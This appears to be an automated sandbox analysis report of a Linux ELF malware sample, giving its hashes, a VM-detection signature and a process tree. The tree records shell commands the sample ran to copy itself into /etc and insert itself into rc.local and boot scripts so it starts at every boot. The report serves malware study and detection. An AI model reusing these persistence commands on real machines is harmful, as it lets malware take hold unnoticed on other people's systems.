Analysis
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max time kernel
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max time network
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platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
05-05-2024 18:16
Behavioral task
behavioral1
Sample
988155f2bf9242ce23193e8cbb8a001c.elf
Resource
ubuntu2004-amd64-20240221-en
ubuntu-20.04-amd64
3 signatures
150 seconds
General
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Target
988155f2bf9242ce23193e8cbb8a001c.elf
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Size
1.0MB
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MD5
988155f2bf9242ce23193e8cbb8a001c
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SHA1
4c0c74fd0fb9fba9587f3ec7b6326db029c334b7
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SHA256
d2f2271938f895d5383a6ca9e2170da7545314eb234da1f72eb2bd58f027dfbe
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SHA512
0a461a2bf57002f0f27b56e6e5ce7d018b23bec2926bf473acb8e58ecc7cfbd4f781a1dfe2ad627ea4032aedd589bda587b27a9a17e4689889ebd322d393ed8d
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SSDEEP
24576:RsqZhvnhHXuhshNjm3Bp6gDgR16lwzBWa4wwS49TrHg29XE/PZroyUkNR9:PhvnhHXuhshNjK8AlGWaoEroyUk
Score
4/10
Malware Config
Signatures
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo 988155f2bf9242ce23193e8cbb8a001c.elf -
Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online 988155f2bf9242ce23193e8cbb8a001c.elf -
Reads runtime system information 7 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems mv
Processes
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/tmp/988155f2bf9242ce23193e8cbb8a001c.elf/tmp/988155f2bf9242ce23193e8cbb8a001c.elf1⤵
- Checks CPU configuration
- Reads CPU attributes
PID:1477 -
/bin/shsh -c "chmod +x /etc/rc.local"2⤵PID:1478
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/usr/bin/chmodchmod +x /etc/rc.local3⤵PID:1479
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/bin/shsh -c "mv /tmp/988155f2bf9242ce23193e8cbb8a001c.elf /etc/988155f2bf9242ce23193e8cbb8a001c.elf"2⤵PID:1486
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/usr/bin/mvmv /tmp/988155f2bf9242ce23193e8cbb8a001c.elf /etc/988155f2bf9242ce23193e8cbb8a001c.elf3⤵
- Reads runtime system information
PID:1487
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/bin/shsh -c "cd /etc;chmod 777 988155f2bf9242ce23193e8cbb8a001c.elf"2⤵PID:1491
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/usr/bin/chmodchmod 777 988155f2bf9242ce23193e8cbb8a001c.elf3⤵PID:1492
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/bin/shsh -c "sed -i -e '/exit/d' /etc/rc.local"2⤵PID:1493
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/usr/bin/sedsed -i -e /exit/d /etc/rc.local3⤵
- Reads runtime system information
PID:1494
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/bin/shsh -c "sed -i -e '/^ | | \$/d' /etc/rc.local"2⤵PID:1495
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/usr/bin/sedsed -i -e "/^ | | \$/d" /etc/rc.local3⤵
- Reads runtime system information
PID:1496
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/bin/shsh -c "sed -i -e '/988155f2bf9242ce23193e8cbb8a001c.elf/d' /etc/rc.local"2⤵PID:1497
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/usr/bin/sedsed -i -e /988155f2bf9242ce23193e8cbb8a001c.elf/d /etc/rc.local3⤵
- Reads runtime system information
PID:1498
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/bin/shsh -c "sed -i -e '2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf reboot' /etc/rc.local"2⤵PID:1499
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/usr/bin/sedsed -i -e "2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf reboot" /etc/rc.local3⤵
- Reads runtime system information
PID:1500
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/bin/shsh -c "sed -i -e '2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf start' /etc/rc.d/rc.local"2⤵PID:1501
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/usr/bin/sedsed -i -e "2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf start" /etc/rc.d/rc.local3⤵
- Reads runtime system information
PID:1502
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/bin/shsh -c "sed -i -e '2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf start' /etc/init.d/boot.local"2⤵PID:1503
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/usr/bin/sedsed -i -e "2 i/etc/988155f2bf9242ce23193e8cbb8a001c.elf start" /etc/init.d/boot.local3⤵
- Reads runtime system information
PID:1504
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